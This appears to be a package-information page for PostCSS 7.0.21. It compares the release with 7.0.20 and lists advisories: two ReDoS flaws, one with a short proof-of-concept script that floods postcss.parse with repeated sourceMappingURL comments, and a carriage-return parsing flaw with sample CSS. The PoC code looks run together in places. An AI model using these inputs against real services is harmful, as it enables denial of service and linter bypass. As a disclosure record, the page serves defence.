PostCSS version 7.0.21 is a minor update to the popular CSS transformation tool, following closely on the heels of version 7.0.20. Both versions share the same core dependencies, including chalk for terminal styling, source-map for debugging, and supports-color for detecting terminal color support, indicating a focus on maintaining a stable and consistent development experience. The library, authored by Andrey Sitnik, remains under the MIT license, ensuring developers have the freedom to use and modify it as needed. The repository is located on GitHub, facilitating open-source contributions and issue tracking.
While the descriptions and dependencies remain identical, a key difference lies in the release date, with version 7.0.21 being published on October 25, 2019, a day after version 7.0.20. This suggests the newer version likely contains bug fixes, minor improvements, or perhaps security patches addressed in the short period between releases. Interestingly, the unpacked size of version 7.0.21 is slightly smaller (1085084 bytes) than version 7.0.20 (1086573 bytes), potentially indicating optimizations in the codebase, such as removing unnecessary code or improving compression mechanisms. Developers should consider upgrading to version 7.0.21 to benefit from these refinements, fostering a smoother and more secure CSS processing workflow.
All the vulnerabilities related to the version 7.0.21 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
Regular Expression Denial of Service in postcss
The npm package postcss from 7.0.0 and before versions 7.0.36 and 8.2.10 is vulnerable to Regular Expression Denial of Service (ReDoS) during source map parsing.
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.